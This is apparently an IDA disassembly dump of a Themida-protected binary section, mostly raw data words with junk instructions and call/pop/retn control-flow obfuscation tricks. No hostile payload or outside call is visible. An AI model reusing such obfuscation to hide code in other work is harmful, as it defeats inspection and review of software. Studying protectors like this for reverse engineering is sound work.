dd 0DC8A00B0h, 0E4F970E6h, 4FADBF71h, 613C289Ah, 10A830Fh
dd 0B60F0000h, 0A59501C8h, 0BA07E426h, 6, 0C18BDE8Bh, 0E95B5260h
dd 0Ch, 0B4C17817h, 0CDDF3750h, 73029C6h, 4E8C161h, 6810Fh
dd 8D010000h, 7E413E5h, 7E9h, 2B77600h, 4D287ABFh, 2BE2F766h
dd 799531C8h, 8B07E422h, 6BBF66D1h, 6E9D7h, 9D8B0000h
dd 7E427A1h, 0AD858Bh, 820F07E4h, 6, 15C9BD89h, 0C08307E4h
dd 14E807h, 6D770000h, 7D7AE2C9h, 882BAE14h, 0D343015Bh
dd 66E0DE2Ch, 0E85188E3h, 0Ah, 69BE009h, 31619281h, 5B5BDC94h
dd 0C0835Bh, 0D03BDA8Bh, 11830Fh, 0B5890000h, 7E41485h
dd 53E9h, 99950100h, 8B07E419h, 0E413998Dh, 0FF98B07h
dd 486h, 61605600h, 1E1835Fh, 32840Fh, 0A5830000h, 7E41399h
dd 13E9FEh, 61520000h, 1424FC71h, 72BB40B7h, 8A4FA64Fh
dd 0DA6F7B42h, 0AD9589E3h, 8B07E400h, 0C99D8BDEh, 0E907E415h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7E86072h]
pusha
movsx ebx, bx
or [ebp+7E43575h], ecx
popa
sbb bh, 84h
push 0
mov edi, esi
call dword ptr [ebp+7E40E41h]
push 0
push edi
call sub_5D12F5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D12F5 proc near ; CODE XREF: Themida_:005D12EDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5D12F5 endp
; ---------------------------------------------------------------------------
sub al, 0E7h
mov bh, 0Fh
add dword ptr ds:60000000h, 57h
pop esi
cld
popa
mov ecx, 92Fh
push 0
push ecx
call sub_5D1323
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1323 proc near ; CODE XREF: Themida_:005D131Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5D1323 endp
; ---------------------------------------------------------------------------
db 0D9h
; ---------------------------------------------------------------------------
or eax, ecx
inc ebp
xchg eax, ebx
setalc
pusha
movzx ecx, si
movsx ecx, cx
popa
xor [ebp+7E40A85h], ecx
and ecx, 0FFFFFFFCh
cld
cld
mov edi, 3359A30Dh
sub eax, eax
push 0
push esi
call sub_5D135E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D135E proc near ; CODE XREF: Themida_:005D1356p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5D135E endp
; ---------------------------------------------------------------------------
scasd
mov esp, 0DEC6E863h
pop edx
std
mov ebx, 6F2A72FAh
add di, 1138h
mov edx, 0
push 0
push ebp
call sub_5D1390
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1390 proc near ; CODE XREF: Themida_:005D1388p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5D1390 endp
; ---------------------------------------------------------------------------
adc ah, bl
sal dword ptr [eax-76F5AD6Fh], 85h
sub ds:33AD07E4h, esp
retn 0E8D1h
; ---------------------------------------------------------------------------
dw 0D003h
dd 7504E983h, 55BD8BF4h, 0D07E400h, 88h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 80C35141h, 6602BCC0h
dd 8B0F35BBh, 0E41B7195h, 67EB8007h, 2DA18D8Bh, 0C78107E4h
dd 9C8AAAAh, 50FABF0Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 8D9D8B58h, 6A07E414h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 82BBC356h
dd 29BD0969h, 8307E426h, 0E40611BDh, 840F0007h, 56h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9DC35747h, 9B7EB3A1h
dd 16F55F4h, 0E42FBDB5h, 0B8F907h, 8D000000h, 0E44FE78Dh
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 80E1FFACh, 0BD83ABD7h, 7E422B9h, 28840F00h
dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 8312C356h, 0E422B9BDh, 840F0107h
dd 41Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0AAC35545h, 0BD8B5453h, 7E405F9h, 22B9BD83h, 0F0307E4h
dd 3B386h, 0BD896000h, 7E424C5h, 0BD8B6061h, 7E4148Dh
dd 0FD98C66h, 0A89h, 61606000h, 2F018D89h, 806107E4h, 6A04E1h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 84504BC3h, 630C4BC7h, 81E13D78h, 0B3DC70D7h, 0FC90A36h
dd 13D84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 0C5F48B47h, 51858B1Ah, 6A07E406h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 648FC355h, 2B4047D1h, 0B5895F4Ah, 7E425F9h
dd 9E8h, 2C96E400h, 0D2EB9BB3h, 800FA4BAh, 3, 5FF8B70Fh
dd 20298533h, 0BD8907E4h, 7E431BDh, 66525050h, 310FDE8Bh
dd 2830Fh, 61600000h, 489585Ah, 0DB816624h, 6A0605h, 8BC3D780h
dd 0E409D99Dh, 2426807h, 0F98BD9CBh, 0BD240481h, 8B265401h
dd 0E415A59Dh, 9995FF07h, 6A07E42Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEAC351h
dd 29A5CA8Ch, 2DE98D89h, 858907E4h, 7E7F8A5h, 11E9h, 71578E00h
dd 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh, 860FD036h, 1Ah, 0CE860h
dd 29E00000h, 0C950869Ah, 295110AFh, 8B58F499h, 0E40B01BDh
dd 9E96107h, 6A000002h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0ED05C350h, 116D8F10h
dd 858BFE8Ah, 7E7F89Dh, 0A1DB589h, 0C707E4h, 18h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C1C35242h, 89677739h
dd 0E404E595h, 0CE907h, 0BC320000h, 104C3994h, 260B08F4h
dd 0B58B0E8Dh, 7E7F8A1h, 99858BF8h, 6A07E400h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0F73CC355h, 0E205EEE1h, 0DD9D891Eh, 8907E403h, 0E41A2D85h
dd 6A068907h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 7225C352h, 9B38189h, 0E42165B5h
dd 19880F07h, 0E9000000h, 14h, 0A2CD83E3h, 8087022Fh, 9290B1D2h
dd 38FFA8DAh, 0F969A9BEh, 651858Bh, 6A07E4h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 15F750C3h
dd 0A8BC46E7h, 66044689h, 5050F88Bh, 8F0F6052h, 0
dd 0AE8h, 0AFACB900h, 0B4D3CB5Dh, 58DAB56Ah, 66310F61h
dd 5A5C60BFh, 24348958h, 0FFFFB70Fh, 0E7F89DB5h, 4E8F507h
dd 0FF000000h, 50001F03h, 0EE852h, 6AE20000h, 71941453h
dd 259E70B9h, 0EFAAAEh, 0F5B39B3h, 0F88B6631h, 0F50585Ah
dd 168Bh, 10E800h, 0A0370000h, 7341B011h, 3D77DF21h, 7182F3D6h
dd 8B5F47DFh, 0B3042444h, 8B008B1Fh, 244489FBh, 8B665804h
dd 0A5858DF8h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 9AF1C350h, 5090F88Bh
dd 0DF79BF52h, 310F0222h, 1200BB66h, 0BF50585Ah, 6FA2B781h
dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 86183391h, 0E75F6FE6h, 95FF6EF0h, 7E42D99h
dd 859D3361h, 0C707E422h, 0E422B985h, 307h, 0FED78000h
dd 0F8A5BD83h, 0F0007E7h, 1784h, 0C19D8B00h, 0E907E401h
dd 27h, 279BD89h, 9D8B07E4h, 7E432E9h, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 831163BBh
dd 0E422B9BDh, 850F0307h, 40Ah, 356DBD29h, 0BD8307E4h
dd 7E7F8A5h, 0F7840F00h, 6A000003h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF03C350h
dd 8E88A82Dh, 0FF92654Bh, 0E7F8A5B5h, 4D95FF07h, 8B07E404h
dd 0E415C59Dh, 99B58B07h, 6A07E7F8h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FCCC351h
dd 106C7B8h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0B83FC352h, 870F5030h
dd 5, 0AE57C9BBh, 24348922h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 4AC35040h, 5958989h, 0FF07E409h
dd 0E7F8A5B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 64595076h, 60FAB70Fh
dd 211B589h, 896007E4h, 0E42EC585h, 14E907h, 36CD0000h
dd 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh, 61615BA9h
dd 2A0995FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 66A562C3h, 15E5DF81h, 0F899B58Bh
dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 5E9B3C3h, 0B8000000h, 7D24D3FBh, 3165858Bh
dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 719F7AC3h, 0DB4C2A52h, 8BFC33BAh, 0C48689DFh
dd 0F000000h, 181h, 958BF800h, 7E41B71h, 0EE860h, 0CCA30000h
dd 7AC67C8Ch, 65442799h, 5772B3F5h, 0F158D29h, 0F5807E4h
dd 8361D9BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0C50BBDC3h, 3205089h, 0E42A399Dh
dd 0D4858D07h, 6A07E80Ch, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0B7DBC355h, 0B886895Fh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 66F9C352h, 6ADF8Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 7B63FDF9h
dd 0E936BFEEh, 5, 0E8B4195Bh, 0A5B5FF21h, 6A07E7F8h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 398C357h, 0BB96AD83h, 0AE8F578h, 0CB000000h, 3A205C6Bh
dd 223CA15Ch, 95FF5B79h, 7E431ADh, 1EBBF381h, 66962718h
dd 50B937BFh, 0BE8h, 0F858E400h, 5B06058Ah, 8AD98C17h
dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0C9F5DBC3h, 0FF570E5Ah, 0E7F8A5B5h, 0E5BD8907h
dd 0FF07E423h, 0E41B1195h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 666B4CDAh
dd 8344C8BBh, 0E40DF9BDh, 840F0007h, 28h, 1871BD89h, 569607E4h
dd 505F9EB3h, 0F810Fh, 0AE90000h, 3E000000h, 0B015168Dh
dd 682C6585h, 0BF669696h, 9B75FA3h, 0F8A5B5FFh, 6A07E7h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0E8BB26C3h, 7D95FFEEh, 0FF07E402h, 0E7F8A5B5h, 68C0F07h
dd 89000000h, 0E4068D85h, 7195FF07h, 0BF07E409h, 3C264CFCh
dd 0BD835F51h, 7E40A21h, 4C840F02h, 33000000h, 0E41B659Dh
dd 0B5858B07h, 8B07E41Eh, 0E42C319Dh, 0C607h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D0E0583Ch
dd 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h, 608BC312h
dd 0C790737Ah, 0E4267185h, 7, 8E900h, 0D2B90000h, 0FE170D90h
dd 2FE998E5h, 66FFFFF4h, 0CFB2D781h, 6AC18Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 708B33C3h
dd 1DFFB350h, 0FE946E2h, 9D000000h, 0DECE9DB0h, 0CD064FD2h
dd 47105587h, 858D7819h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 96C35242h, 0B443945Eh, 8E0Fh
dd 0BF500000h, 544B41E7h, 60240489h, 0E9FEB70Fh, 12h, 4BF87FBFh
dd 2495CB1Fh, 95DA318Fh, 36B301Dh, 6A616D24h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 2DEBFC5Eh, 0BB26A59Ch, 3A0EB515h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6FD6C1C3h
dd 53E3D4Fh, 0FB71858Dh, 8B0F07E8h, 2, 0C083FE8Ah, 8CC38005h
dd 50F98B90h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 121E85BBh, 0EE9h, 43D4AD00h, 6677E274h
dd 0EB4F0DD8h, 6AC77996h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 1BFD2161h
dd 0DA8B661Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 1CD89FC3h, 0FB70B37h, 86h, 0A19D8B00h
dd 0FF07E418h, 0E4247195h, 0D1958907h, 8D07E40Ah, 0E7D64B8Dh
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0E60B48A3h, 7E8h
db 0
byte_5D1EDD db 0ACh, 0FEh, 0ACh ; DATA XREF: Themida_:00582F4Co
dd 6D16D5AAh, 6870Fh, 9D8B0000h, 7E425D5h, 6600BB5Fh, 0D1FF36D6h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h
dd 834EAFC7h, 0E42015BDh, 850F0107h, 0D8h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AEC35141h, 72BC90BBh
dd 30A108DAh, 0AC1BD89h, 26A07E4h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0A0C35242h, 8892B95h, 0E9075686h
dd 13h, 0EEC9817Fh, 4714745Dh, 9730996Dh, 6E28F558h, 3AC05D8h
dd 0E424C1BDh, 52509007h, 28F0Fh, 61600000h, 0BF66310Fh
dd 585AF6E4h, 4880F50h, 66000000h, 90C81EBBh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h, 2998589h
dd 95FF07E4h, 7E431ADh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0DEC35141h, 8631A36Ch, 0B989DAFDh, 0DC4E9h
dd 0E800h, 815D0000h, 0E8FB7BEDh, 8B66F907h, 0E1858DDEh
dd 6A07E7C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0DF4FC353h, 0CB52D855h, 419B31FEh
dd 22719529h, 509007E4h, 8990F88Bh, 0E4186985h, 0D9BD8B07h
dd 6407E42Eh, 35FFh, 0BABF0000h, 64208852h, 2589h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 214B6AC3h, 85899047h, 7E420F1h, 20B985FFh, 0FF6A07E4h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 44C35040h
dd 0BA7F7122h, 1000BF66h, 5CCCC781h, 0B5FF0E84h, 7E402D5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h
dd 0A2228744h, 26859D8Bh, 8A0F07E4h, 3, 0FF95CF80h, 0E4304D95h
dd 153E907h, 95890000h, 7E41695h, 89958B60h, 8907E409h
dd 0E408A1BDh, 0B06107h, 0DE05DB81h, 70E61D13h, 71E4FB8Bh
dd 0CE9h, 3671F00h, 0D65B1740h, 3C4ED891h, 0F613C21h, 11883h
dd 0B1952900h, 8B07E422h, 0C8B60FF9h, 2669BD8Bh, 6BA07E4h
dd 57000000h, 0A752C381h, 8B5B1847h, 6E8C1h, 0EA570000h
dd 5FC80E45h, 2AB59D0Bh, 0F5B07E4h, 384h, 0D8BF0F00h, 8104E8C1h
dd 0ADFCD7C3h, 0E2F7667Eh, 2BFE8B66h, 0D99D89C8h, 0B307E420h
dd 8AD18BE1h, 9E8DEh, 87280000h, 0FAAEB506h, 0F439360h
dd 686h, 95B58900h, 5B07E409h, 0A0E9h, 0CE86000h, 0A3000000h
dd 0E93BDCE2h, 0F9EA2305h, 66F2861Ch, 615AF88Bh, 8858Bh
dd 31600000h, 0E42B4DB5h, 0A9852907h, 6107E423h, 0F507C083h
dd 0E900C083h, 0Dh, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h, 0FD03BB4h
dd 0F83h, 998D0100h, 0E907E422h, 49h, 0F4CABF66h, 0FFFF8D8Bh
dd 890FFFFFh, 6, 0F959D8Bh, 0E18307E4h, 2A840F01h, 0BB000000h
dd 0CBDEA28h, 0FFFFA583h, 0F9FEFFFFh, 89589h, 0BD330000h
dd 7E4334Dh, 68C0Fh, 0BD2B0000h, 7E4087Dh, 0E9h, 5BB58D00h
dd 6A07E87Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0F9BBC357h, 0F98B5763h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0D3BAFBC3h, 0FFDA8BF5h, 0E40E4195h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 15A49A17h, 0DCB996F6h, 6A00000Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5685C357h
dd 0E18314C4h, 4FCF81FCh, 0FC49F9DAh, 2B5FF551h, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 5C51CD80h, 0B5896006h, 7E41385h, 2D958Bh, 0BA6107E4h
dd 0
; ---------------------------------------------------------------------------
mov [ebp+7E41291h], edx
loc_5D232E: ; CODE XREF: Themida_:005D2338j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D232E
jmp loc_5D2353
; ---------------------------------------------------------------------------
db 7Bh
dd 1F84685Ah, 9EF21B4Ah, 58C49AB7h, 0D3088C58h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
fcmovu st, st(7)
loc_5D2353: ; CODE XREF: Themida_:005D233Aj
movzx ebx, ax
or eax, 88h
push 0
push ebx
call sub_5D2366
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2366 proc near ; CODE XREF: Themida_:005D235Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5D2366 endp
; ---------------------------------------------------------------------------
dw 71B9h
; ---------------------------------------------------------------------------
and al, 0ABh
sub al, 76h
mov ebp, ebp
dec esp
movsx edi, ax
mov edx, [ebp+7E41B71h]
push 0
push edi
call sub_5D2393
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2393 proc near ; CODE XREF: Themida_:005D238Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5D2393 endp
; ---------------------------------------------------------------------------
db 14h
dd 8A0F3795h, 6, 31E9BD8Bh, 9D8907E4h, 7E40199h, 8BDFBF0Fh
dd 0E42DA18Dh, 11E907h, 42B00000h, 8CDCED19h, 76B29BECh
dd 2F64DDC7h, 503AC5D4h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 14E858h, 0D70C0000h, 308D88BDh, 6382657Bh
dd 29E5C9D6h, 0EC6693D5h, 0B9BB5F95h, 5B1E5631h, 0CEE38166h
dd 11BD837Eh, 7E406h, 5B840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 655F5C3h
dd 3DEDE02Bh, 0E9DF5284h, 6, 25170AFBh, 0B80ADDh, 0FC000000h
dd 4FE78D8Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0FF71B5C3h, 0B9BD83E1h, 7E422h
dd 417840Fh, 8B660000h, 0B9BD83DAh, 107E422h, 422840Fh
dd 95890000h, 7E40D81h, 22B9BD83h, 0F0307E4h, 3D986h, 14E900h
dd 726C0000h, 0F04F6C2Ah, 0F6398E86h, 7F23C802h, 6A34B7Ch
dd 0E8607CD9h, 0Fh, 241A043Fh, 5CB8DB5Ah, 3A63863Fh, 0B3FB4DBDh
dd 8C665B17h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 0F0E02B4h, 3D43EB4Ah, 0EE9h, 5873A200h
dd 0FA8EC9E1h, 2FFBA440h, 8071E3C5h, 0BD3304E1h, 7E41849h
dd 840FC90Ah, 139h, 0F9853360h, 6107E425h, 651858Bh, 6A07E4h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 50CC87C3h, 1CC41E5Fh, 85338863h, 7E42029h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4BC35646h, 0C781DA8Bh
dd 4AF3098Dh, 24048950h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 37C35040h, 61AB0701h, 6ADF8B66h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 858913DBh, 7E42AADh, 22D1BD8Bh, 0D06807E4h, 66060587h
dd 810F1FBFh, 842F2434h, 8D01061Ah, 7E42ED9h, 2D9995FFh
dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0BA0A64C3h, 8589D72Ch, 7E7F8A5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 31C35242h, 5E8h
dd 0D791AF00h, 13E9F2A8h, 63000000h, 1B611CE2h, 3309D6A3h
dd 8E637AF0h, 4685336Ch, 0E95B21E2h, 1B0h, 7B10B0BBh, 9D858B30h
dd 6A07E7F8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 2B1FC355h, 0BD0B004Bh, 7E426B9h
dd 1800C7h, 10E90000h, 35000000h, 0A915393Fh, 53158BB6h
dd 0D01BE089h, 8B8372A7h, 0E7F8A1B5h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 7852BF6Ah, 72FADF2h, 0F171BF39h, 858B2EC1h, 7E40099h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C4C35040h
dd 89553F41h, 3D9D8B06h, 8B07E406h, 0E4065185h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 8928EE1Ah, 0E418D195h, 7337BB07h, 468910DAh, 50006A04h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 499F02D7h, 0C745FD53h, 66508962h, 891D7BBBh, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 800F08C3h, 6, 850Fh, 0B5FF0000h, 7E7F89Dh, 918589h
dd 0B96807E4h, 814C7A03h, 462434h, 6A4C65h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C32A93C3h
dd 0F9900823h, 0F8A5858Dh, 8B9007E7h, 899050F9h, 0E405F985h
dd 9995FF07h, 6A07E42Dh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 5EFC350h, 60E27FE9h
dd 0BE9h, 4C4C3500h, 0B9D2D8D5h, 4E6AD53h, 50006A61h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0E44508DEh, 159D8BC1h, 0C707E42Eh, 0E422B985h, 307h
dd 31BD8900h, 8307E40Bh, 0E7F8A5BDh, 840F0007h, 36h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 35C35040h, 0C154BD0Bh
dd 0B33B2DF8h, 0F99D8BAAh, 0E907E417h, 21h, 16A1BD8Bh
dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0DAE12B8Dh, 5FBBCB65h, 2B603B53h
dd 0E429F58Dh, 6A6107h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0CE4870C3h, 83B2B363h, 0E422B9BDh
dd 850F0307h, 46Fh, 7E9h, 79599F00h, 91FAF9B0h, 0F8A5BD83h
dd 0F0007E7h, 45684h, 5E900h, 2D0E0000h, 81E64641h, 9ECFFAEBh
dd 0A5B5FF53h, 6A07E7F8h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 0A6BFC353h, 819D337Fh
dd 0FF07E431h, 0E4044D95h, 0A9852907h, 8B07E418h, 0E7F899B5h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0D0883A64h, 0A3D108EAh, 0C7E9B384h, 1000106h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 99DC483Eh, 8BD76E61h, 0E412B5BDh, 0B6605007h
dd 860F6081h, 0
; ---------------------------------------------------------------------------
jmp loc_5D29FC
; ---------------------------------------------------------------------------
db 43h, 0DAh, 5Fh
dd 6E2F1E38h
; ---------------------------------------------------------------------------
loc_5D29FC: ; CODE XREF: Themida_:005D29F0j
popa
popa
mov [esp], esi
or [ebp+7E427A5h], eax
push dword ptr [ebp+7E7F8A5h]
or di, 0B839h
or edi, 3005777Eh
call dword ptr [ebp+7E42A09h]
mov [ebp+7E41519h], eax
mov esi, [ebp+7E7F899h]
push 0
push edi
call sub_5D2A35
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2A35 proc near ; CODE XREF: Themida_:005D2A2Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5D2A35 endp
; ---------------------------------------------------------------------------
db 7Bh, 0F9h, 0Fh
dd 681h, 0A19D8B00h, 8B07E401h, 0E4316585h, 0BD8B5007h
dd 7E40505h, 0C486895Fh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C4FBC353h
dd 9D74A41Bh, 1B71958Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 9D8BE3C3h, 7E406E9h
dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 977DC357h, 872E79BFh, 0B58962FCh
dd 7E40A1Dh, 60205089h, 79B96650h, 0DE85B2Ah, 0A9000000h
dd 191B8763h, 6E2C83F4h, 76BCF434h, 0FE8h, 8BCA600h, 5A1F5463h
dd 0D8560184h, 197F269Dh, 8D615A5Ah, 0E80CD485h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 1C9FAFDEh, 0F780AC8Ch, 81BD8BB1h, 8907E403h, 0B886h
dd 0A5BD0300h, 6A07E400h, 0FF89B700h, 0E7F8A5B5h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 7C53B266h, 0F2F978DFh, 31AD95FFh, 6A07E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C84ADAC3h
dd 180D43FBh, 0EF804010h, 5E8963Ch, 76000000h, 99283625h
